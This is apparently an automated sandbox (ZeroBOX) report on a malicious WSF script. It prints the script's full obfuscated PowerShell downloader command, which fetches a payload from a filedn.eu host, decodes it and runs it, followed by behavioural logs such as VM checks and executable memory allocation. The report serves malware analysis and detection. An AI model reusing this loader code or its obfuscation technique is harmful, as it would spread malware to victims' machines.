Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6402	Nov. 27, 2024, 12:32 p.m.	Nov. 27, 2024, 12:34 p.m.

Size	81.2KB
Type	XML 1.0 document, ASCII text, with CRLF line terminators
MD5	`ec9e0e26868eafb7c3eb93257048fadc`
SHA256	`f2ff694851383bb8d6f719ad6c1eb4c77ce7c6e9b07ed15b2cfd0b2483698497`
CRC32	`FBFA8875`
ssdeep	`768:Ko1KkwuLfdJ2n3NxGxUf3TmvV4/AZ5OQTVjXk3aJXvYVW1F+0Rh3H6D6ExM:HwuLfdJqKGfDnexTFk3axb1g0Rh343+`
Yara	None matched

wscript.exe "C:\Windows\System32\wscript.exe" C:\Users\test22\AppData\Local\Temp\Heteroepy.wsf
3012
- powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" ";$Gavflabe='Bekvemmelighedernes';;$Views='Cosying';;$Threatless='Eposserne';;$Neutraliseredes='Mirras';;$Rkketoner='Expelling';;$Ohlsens=$host.Name;function Undgldelses($Forligsbrud){If ($Ohlsens) {$Arthrorrhagia=4} for ($Ildsjlene=$Arthrorrhagia;;$Ildsjlene+=5){if(!$Forligsbrud[$Ildsjlene]) { break }$Specifikation+=$Forligsbrud[$Ildsjlene]}$Specifikation}function Undividedness($Princippet){ .($kharua) ($Princippet)}$Mosquitofishes=Undgldelses 'unhanMon EO teTPl m.LongWSurfe G nb savCobliL KamIBro,e Ko nFdseT';$Dobbeltdres=Undgldelses 'KnifM chioVidezAmpuiSejrlBr,vl ankaReen/';$Alyssum=Undgldelses 'SquiTu stlRepas ast1repu2';$Sesquitertianal='S er[ Lemn ,peeUnretKarl. enrsCeraEElfeR Segv,ourI OutCSp.bE StoPabovo CtriCsiuN Mont ,olmB laa UndNLo taFilng D aEPrjuR.fve]An.a:Rocc: Eq sT wreMillcPro uK asRDjveISoirtlavaYSva PPlejRPaako Da,tastrO StrCPlatO P kLTill= Gen$T,ilaBeljlP alyfladSPreaS Se,uOutdm';$Dobbeltdres+=Undgldelses 'Kvrk5C or. V d0Spir G.it(LinyWNavni Ufrn Tegd Kroo UbnwPu csSva Le,eNStniTHalv Stum1Rude0N tt.Hall0B ik;Bast OveWBlokibrugnTerr6Maal4 Off;L mb Redux R d6Anti4Kha ;nedn T.ykrkostvKarr:Aand1ansi3Be.o1Ostr.Bilk0Vulg)Sp.i TilGCydeenimbcekshkT anoBlas/Skal2 iog0Rati1Br n0Un,a0Seve1Maww0 par1A da T.oFLeghiper,r este Secf Didowi exHerm/kobs1 ,or3huma1Supe. ra0';$Tekstilingenirerne=Undgldelses ' Rdlu L tSR.inEC imRF sk-SuccaNonig UnieUdplN AlgT';$Syndikatet12=Undgldelses 'EdithTilltBloktSho pRigasI it:Filv/Let,/Pli fBertiSen lKrigeVeksdViktn Sab.mohae EskuServ/Mondl,pry9Rigot oorERem wSabbbDop,9Int s Hol6CommaInc.a TroRwhelw Per5C pefTrkaySvenU DokiOejeaVariCUnrh0MalclKummf Ta /AggrHA ieuGeockPochoGenemAlgem eareBortlVa.dsAfskeStensImplbF.ntlLsebo ClakEthekGl peOrga.hen.mJyl.sortho';$Tvrreb=Undgldelses 'Kro >';$kharua=Undgldelses 'FemiiBor,e PhyX';$Uranolatry45='Brspapirers';$Alectoromorphae='\Myldretids.Uro';Undividedness (Undgldelses 'Stik$Te,egShoplSygeOHetebAircaNe.ol.dua: fsEDextf FriTkonkeEndorBaarBP umEBagmH o,eA T,rnSnokDF lmLHarlEDry D Ir EProu= H l$Forbe BioNAdenVFore:Ko maGoshpSociP FriDBlokA Sk TBr da K n+Nati$RefiAMat,l HenEkystC isctG anoL meRAfstO ScuMC.unOSerirUnrep AmpHAfpaa B,se');Undividedness (Undgldelses 'Kour$LapaG TellsmaaOBi iB AnnADodolUd.i:lac.pfar E FlaRFilmCGuarE WhaIEkspVKnsraThanbN,tolBussE UkoNPladEkbslsF etsFede6Bo v5Unde=Sp r$Dem.S Un y BooNBiladStalIScorkDadeAStakt AfsERaadTP tt1Rejs2 K.g.Akuts epiplarvlQuoniKlvet Udv(L gt$UldeTcay VSlodRAlcsRSu.oEBackBNona)');Undividedness (Undgldelses $Sesquitertianal);$Syndikatet12=$Perceivableness65[0];$Ildsjlenenterhabitation=(Undgldelses 'Fors$TaknGForgLKla OStvlbRygsaGennlTrni:U,dehSteeAOpofSMad T AmbI T sssmi.h Odo=BaigN Fu,ETracWEfte- ekrO troBRegiJA,rhEBretc MactPoul rygs ,veYAd,osSnort Sk EF,rlMKin . iga$Ove.MElo O ApoS rklQ UfouAthei hentCh fOForsFRoboi StrsFor,HFli.EHy ts');Undividedness ($Ildsjlenenterhabitation);Undividedness (Undgldelses ' la$For H PisaVands StotUd.aiS otsOt ehflng.LandHD,ssePlu.aWorrdIntee EntrAzoxsD lk[ Pan$ UndTR,maeFra kOpbasSplotRoeoi PatlImdeiLi,unda nge taeDogmnPalliSkolr Gh.e,arrrOmvun UnieSk r] Sap=Ethn$CertD.uinoSpidbTretbEllieAut,l ImptIa.cd LymrCodee erys');$Reflowers=Undgldelses ' afl$ AriHLiasaWongsUnbot SpeiBygns Indh Ree.PaulDAta oStopwEndonG snlS.rioGra aThiodUns.FKdbjiUnsolTaloeO er( Kan$AborSRetny salnAl.rd asi HankLsefaF.ldt Kl eParttAfga1 Fis2Moc ,File$StorIVarmm ZappCaphoBagfrSpelt leaS rvf ejlgWidoiIncef HoltKroneNewtr Api)';$Importafgifter=$efterbehandlede;Undividedness (Undgldelses 'Eq,i$Heteg Er l,nemo OchB veAMisblAr l:ufortker IU thNWilmsFlagMalmeaLiveNTilh1Pass6Aar.4Mean=Kult(BegoTAft ERespsPla T Rad-Udlnp IdsaHaget OvehC nv Dyrt$RibsiLa rm DiapfronoStilRSu,fTMarrAOpreF DolGO erITrefFC inTUdstEC,slrHalf)');while (!$Tinsman164) {Undividedness (Undgldelses ' Lu $am lgCammlPleso IskbStaia .urlIn a:Aut.SBreciMaledS gheFregfKammo erarDrenmAlodaEpictKardeSkrir opksIdeo=Tena$ StrA rivrPainbStyreSupejMon.dGif sBronvBeskaTastn monepapar') ;Undividedness $Reflowers;Undividedness (Undgldelses 'LipiSMor TLea ABe gR CanTPriv-HeftS.onaLChanECalaErut.PU is Vik4');Undividedness (Undgldelses 'E ie$ Re,GAc ilTilfOBevgBDuplAKratl Ove:Coevt KnsiFiskNCha.sPangmBil,Apre NMusi1Prop6.ont4 art=Bj r(Metot Mine SubSUdsdtHeks-SpirPSkaaaSkoltMakeHLati Cart$linjIAntim Frip VigO dprLongt ,esAFo rFHor GT reISvipF.enrt Th E FairBo t)') ;Undividedness (Undgldelses 'All.$GillgSka l DolO LejB f aABe,olGenn: amMKo eOSolsHR flA vernWhipdImprAPaulS Leg=Clas$Ddp g,arlLKuffop eabF.ynaI,delOp a: solsS tyTStudTHve tenameOpfap mdiDTo.ta Freg Bl OBrndG HaeEAs.aRSmaa+Cong+ Fly%Mold$.nniPTranERateRRiggc Fane .ariD.akVS,itANonsb Cocl sikeHje.NBur,e PossBlodSDjvl6Toil5Stra.,ildC St,ORadsUEareNDebaT') ;$Syndikatet12=$Perceivableness65[$Mohandas]}$desarmerende=334668;$Palladous=30658;Undividedness (Undgldelses ' Wal$fl.pgSkipLLorrOLateBStrua owelInsc: jlpWcru hAlkaeCushaPr.dt EroESa sAuddiRBe.re LonD Poc hau= esu StbegPropebi tTAfsp- Sc CT,ruOstumNTr.vtGasteUn eNProtTGena Mi.i$ExpeI In mReaspsemioPodiR.isat WinaCh,rFBaluG ParI Samfsolot Ni eDinkR');Undividedness (Undgldelses 'R.pl$Kmpeg Bi lSlago ntbFr maGranlorms:,omiSLoruuHavelcus t rnaSlsenSecra LewtUenieM.cosTand Galv=Frit Gevk[TrigSOprayS aasByldtRomaeeddem.nec.Ret COv roTenonHje.v PeleDensrBi ltPrst]sovs: ro: rtFFugurOpspoOpfamStraBMlera PrisBlode Ryd6,rte4SpanSAuditRombrLac iHainnMa.rgcald(.ipl$BestwKo fh Slveglyca Zeot,ogeeAngiaUnwarMi,ieChicdDich)');Undividedness (Undgldelses 'Succ$Kl nGEpilL UnlOfogybS roaTraplCent: lasS AsoT BetiTil GSubtbDisaJSk pl emie hreRUnstN A teItal Dram=Snur Jehj[UdafSBonby ExtsH drtFounE Burmordb.PerfTS gneGlisxPolat lle.PladERa,dn SkrChy eO Behd rogi indNIndvGkonf]Hea :D gs:PraoaBalcS,nfocConji TreIObte.WildG NoneUo eTCadds ov TAdspRExtrIFormNHaemgPome( vic$.angS ontuF,rbL E it S uAAmasNBadnaUn.fTProvE F,rSSubm)');Undividedness (Undgldelses ' oum$SadeG tillTidso UndBNedeAFugeLCor : Bygs akvCOverAFejlrPat E okamGldsOHalvNChasg ProeOv nr.nri= arn$OddfSAfseTPan,I DogG,ndebR piJ aglLSupee esRUnduN St e aa. E.fS ReauBre bFla Skemit VisrButtiTrounBiblgN,ne(Job $wholdS aneTvilS KlaAPre RF ksMhjl eDep rVkkeE SalNPhandUdklEF.st,Jonb$Tu iPUnifA utdLS,utL BryaHo edscarOF rsU UdbS Fan)');Undividedness $Scaremonger;"
  2276

Name	Response	Post-Analysis Lookup
filedn.eu		45.131.244.47

IP Address	Status	Action
164.124.101.2	Active	Moloch

Suricata Alerts

No Suricata Alerts

Suricata TLS

No Suricata TLS

Queries for the computername (24 events)

Time & API	Arguments	Status	Return
GetComputerNameW Nov. 27, 2024, 12:32 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Nov. 27, 2024, 12:32 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Nov. 27, 2024, 12:32 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Nov. 27, 2024, 12:32 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Nov. 27, 2024, 12:32 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Nov. 27, 2024, 12:32 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Nov. 27, 2024, 12:32 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Nov. 27, 2024, 12:32 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Nov. 27, 2024, 12:32 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Nov. 27, 2024, 12:32 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Nov. 27, 2024, 12:32 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Nov. 27, 2024, 12:32 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Nov. 27, 2024, 12:32 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Nov. 27, 2024, 12:32 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Nov. 27, 2024, 12:32 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Nov. 27, 2024, 12:32 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Nov. 27, 2024, 12:32 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Nov. 27, 2024, 12:32 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Nov. 27, 2024, 12:32 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Nov. 27, 2024, 12:32 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Nov. 27, 2024, 12:32 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameA Nov. 27, 2024, 12:32 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Nov. 27, 2024, 12:32 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Nov. 27, 2024, 12:32 p.m.	computer_name: TEST22-PC	1	1

Checks if process is being debugged by a debugger (1 event)

Time & API	Arguments	Status	Return	Repeated
IsDebuggerPresent Nov. 27, 2024, 12:32 p.m.			0	0

Command line console output was observed (38 events)

Time & API	Arguments	Status	Return
WriteConsoleW Nov. 27, 2024, 12:32 p.m.	buffer: Exception setting "SecurityProtocol": "Cannot convert value "Tls12" to type "Sy console_handle: 0x00000023	1	1
WriteConsoleW Nov. 27, 2024, 12:32 p.m.	buffer: stem.Net.SecurityProtocolType" due to invalid enumeration values. Specify one o console_handle: 0x0000002f	1	1
WriteConsoleW Nov. 27, 2024, 12:32 p.m.	buffer: f the following enumeration values and try again. The possible enumeration valu console_handle: 0x0000003b	1	1
WriteConsoleW Nov. 27, 2024, 12:32 p.m.	buffer: es are "Ssl3, Tls"." console_handle: 0x00000047	1	1
WriteConsoleW Nov. 27, 2024, 12:32 p.m.	buffer: At line:1 char:28 console_handle: 0x00000053	1	1
WriteConsoleW Nov. 27, 2024, 12:32 p.m.	buffer: + [net.sERvICEPoiNtmaNagER]:: <<<< secuRItYPRotOCOL=$alySSum console_handle: 0x0000005f	1	1
WriteConsoleW Nov. 27, 2024, 12:32 p.m.	buffer: + CategoryInfo : InvalidOperation: (:) [], RuntimeException console_handle: 0x0000006b	1	1
WriteConsoleW Nov. 27, 2024, 12:32 p.m.	buffer: + FullyQualifiedErrorId : PropertyAssignmentException console_handle: 0x00000077	1	1
WriteConsoleW Nov. 27, 2024, 12:33 p.m.	buffer: Exception calling "DownloadFile" with "2" argument(s): "The remote name could n console_handle: 0x00000023	1	1
WriteConsoleW Nov. 27, 2024, 12:33 p.m.	buffer: ot be resolved: 'filedn.eu'" console_handle: 0x0000002f	1	1
WriteConsoleW Nov. 27, 2024, 12:33 p.m.	buffer: At line:1 char:22 console_handle: 0x0000003b	1	1
WriteConsoleW Nov. 27, 2024, 12:33 p.m.	buffer: + $Hastish.DownloadFile <<<< ($Syndikatet12,$Importafgifter) console_handle: 0x00000047	1	1
WriteConsoleW Nov. 27, 2024, 12:33 p.m.	buffer: + CategoryInfo : NotSpecified: (:) [], MethodInvocationException console_handle: 0x00000053	1	1
WriteConsoleW Nov. 27, 2024, 12:33 p.m.	buffer: + FullyQualifiedErrorId : DotNetMethodException console_handle: 0x0000005f	1	1
WriteConsoleW Nov. 27, 2024, 12:33 p.m.	buffer: Exception calling "DownloadFile" with "2" argument(s): "The remote name could n console_handle: 0x0000007f	1	1
WriteConsoleW Nov. 27, 2024, 12:33 p.m.	buffer: ot be resolved: 'filedn.eu'" console_handle: 0x0000008b	1	1
WriteConsoleW Nov. 27, 2024, 12:33 p.m.	buffer: At line:1 char:22 console_handle: 0x00000097	1	1
WriteConsoleW Nov. 27, 2024, 12:33 p.m.	buffer: + $Hastish.DownloadFile <<<< ($Syndikatet12,$Importafgifter) console_handle: 0x000000a3	1	1
WriteConsoleW Nov. 27, 2024, 12:33 p.m.	buffer: + CategoryInfo : NotSpecified: (:) [], MethodInvocationException console_handle: 0x000000af	1	1
WriteConsoleW Nov. 27, 2024, 12:33 p.m.	buffer: + FullyQualifiedErrorId : DotNetMethodException console_handle: 0x000000bb	1	1
WriteConsoleW Nov. 27, 2024, 12:33 p.m.	buffer: Exception calling "DownloadFile" with "2" argument(s): "The remote name could n console_handle: 0x000000db	1	1
WriteConsoleW Nov. 27, 2024, 12:33 p.m.	buffer: ot be resolved: 'filedn.eu'" console_handle: 0x000000e7	1	1
WriteConsoleW Nov. 27, 2024, 12:33 p.m.	buffer: At line:1 char:22 console_handle: 0x000000f3	1	1
WriteConsoleW Nov. 27, 2024, 12:33 p.m.	buffer: + $Hastish.DownloadFile <<<< ($Syndikatet12,$Importafgifter) console_handle: 0x000000ff	1	1
WriteConsoleW Nov. 27, 2024, 12:33 p.m.	buffer: + CategoryInfo : NotSpecified: (:) [], MethodInvocationException console_handle: 0x0000010b	1	1
WriteConsoleW Nov. 27, 2024, 12:33 p.m.	buffer: + FullyQualifiedErrorId : DotNetMethodException console_handle: 0x00000117	1	1
WriteConsoleW Nov. 27, 2024, 12:33 p.m.	buffer: Exception calling "DownloadFile" with "2" argument(s): "The remote name could n console_handle: 0x00000137	1	1
WriteConsoleW Nov. 27, 2024, 12:33 p.m.	buffer: ot be resolved: 'filedn.eu'" console_handle: 0x00000143	1	1
WriteConsoleW Nov. 27, 2024, 12:33 p.m.	buffer: At line:1 char:22 console_handle: 0x0000014f	1	1
WriteConsoleW Nov. 27, 2024, 12:33 p.m.	buffer: + $Hastish.DownloadFile <<<< ($Syndikatet12,$Importafgifter) console_handle: 0x0000015b	1	1
WriteConsoleW Nov. 27, 2024, 12:33 p.m.	buffer: + CategoryInfo : NotSpecified: (:) [], MethodInvocationException console_handle: 0x00000167	1	1
WriteConsoleW Nov. 27, 2024, 12:33 p.m.	buffer: + FullyQualifiedErrorId : DotNetMethodException console_handle: 0x00000173	1	1
WriteConsoleW Nov. 27, 2024, 12:34 p.m.	buffer: Exception calling "DownloadFile" with "2" argument(s): "The remote name could n console_handle: 0x00000193	1	1
WriteConsoleW Nov. 27, 2024, 12:34 p.m.	buffer: ot be resolved: 'filedn.eu'" console_handle: 0x0000019f	1	1
WriteConsoleW Nov. 27, 2024, 12:34 p.m.	buffer: At line:1 char:22 console_handle: 0x000001ab	1	1
WriteConsoleW Nov. 27, 2024, 12:34 p.m.	buffer: + $Hastish.DownloadFile <<<< ($Syndikatet12,$Importafgifter) console_handle: 0x000001b7	1	1
WriteConsoleW Nov. 27, 2024, 12:34 p.m.	buffer: + CategoryInfo : NotSpecified: (:) [], MethodInvocationException console_handle: 0x000001c3	1	1
WriteConsoleW Nov. 27, 2024, 12:34 p.m.	buffer: + FullyQualifiedErrorId : DotNetMethodException console_handle: 0x000001cf	1	1

Uses Windows APIs to generate a cryptographic key (46 events)

Time & API	Arguments	Status	Return
CryptExportKey Nov. 27, 2024, 12:32 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x006b2e28 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 27, 2024, 12:32 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x006b2b68 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 27, 2024, 12:32 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x006b2b68 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 27, 2024, 12:32 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x006b2b68 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 27, 2024, 12:32 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x006b2768 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 27, 2024, 12:32 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x006b2768 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 27, 2024, 12:32 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x006b2768 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 27, 2024, 12:32 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x006b2768 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 27, 2024, 12:32 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x006b2768 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 27, 2024, 12:32 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x006b2768 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 27, 2024, 12:32 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x006b2268 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 27, 2024, 12:32 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x006b2268 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 27, 2024, 12:32 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x006b2268 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 27, 2024, 12:32 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x006b2d68 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 27, 2024, 12:32 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x006b2d68 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 27, 2024, 12:32 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x006b2d68 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 27, 2024, 12:32 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x006b2928 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 27, 2024, 12:32 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x006b2d68 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 27, 2024, 12:32 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x006b2d68 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 27, 2024, 12:32 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x006b2d68 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 27, 2024, 12:32 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x006b2d68 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 27, 2024, 12:32 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x006b2d68 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 27, 2024, 12:32 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x006b2d68 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 27, 2024, 12:32 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x006b2d68 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 27, 2024, 12:32 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x006b2c28 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 27, 2024, 12:32 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x006b2c28 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 27, 2024, 12:32 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x006b2c28 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 27, 2024, 12:32 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x006b2c28 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 27, 2024, 12:32 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x006b2c28 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 27, 2024, 12:32 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x006b2c28 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 27, 2024, 12:32 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x006b2c28 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 27, 2024, 12:32 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x006b2c28 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 27, 2024, 12:32 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x006b2c28 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 27, 2024, 12:32 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x006b2c28 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 27, 2024, 12:32 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x006b2c28 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 27, 2024, 12:32 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x006b2c28 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 27, 2024, 12:32 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x006b2c28 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 27, 2024, 12:32 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x006b2c28 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 27, 2024, 12:32 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x006b23a8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 27, 2024, 12:32 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x006b23a8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 27, 2024, 12:32 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x006b23a8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 27, 2024, 12:32 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x006b23a8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 27, 2024, 12:32 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x006b23a8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 27, 2024, 12:32 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x006b23a8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 27, 2024, 12:32 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x006b23a8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 27, 2024, 12:32 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x006b23a8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1

Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 event)

Time & API	Arguments	Status	Return	Repeated
GlobalMemoryStatusEx Nov. 27, 2024, 12:32 p.m.		1	1	0

Allocates read-write-execute memory (usually to unpack itself) (50 out of 159 events)

Time & API	Arguments	Status
NtAllocateVirtualMemory Nov. 27, 2024, 12:32 p.m.	process_identifier: 2276 region_size: 1048576 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02990000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 27, 2024, 12:32 p.m.	process_identifier: 2276 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02a50000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory Nov. 27, 2024, 12:32 p.m.	process_identifier: 2276 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72c21000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 27, 2024, 12:32 p.m.	process_identifier: 2276 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x021fa000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory Nov. 27, 2024, 12:32 p.m.	process_identifier: 2276 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 8192 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72c22000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 27, 2024, 12:32 p.m.	process_identifier: 2276 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x021f2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 27, 2024, 12:32 p.m.	process_identifier: 2276 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02202000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 27, 2024, 12:32 p.m.	process_identifier: 2276 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02a51000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 27, 2024, 12:32 p.m.	process_identifier: 2276 region_size: 8192 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02a52000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 27, 2024, 12:32 p.m.	process_identifier: 2276 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0266a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 27, 2024, 12:32 p.m.	process_identifier: 2276 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02203000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
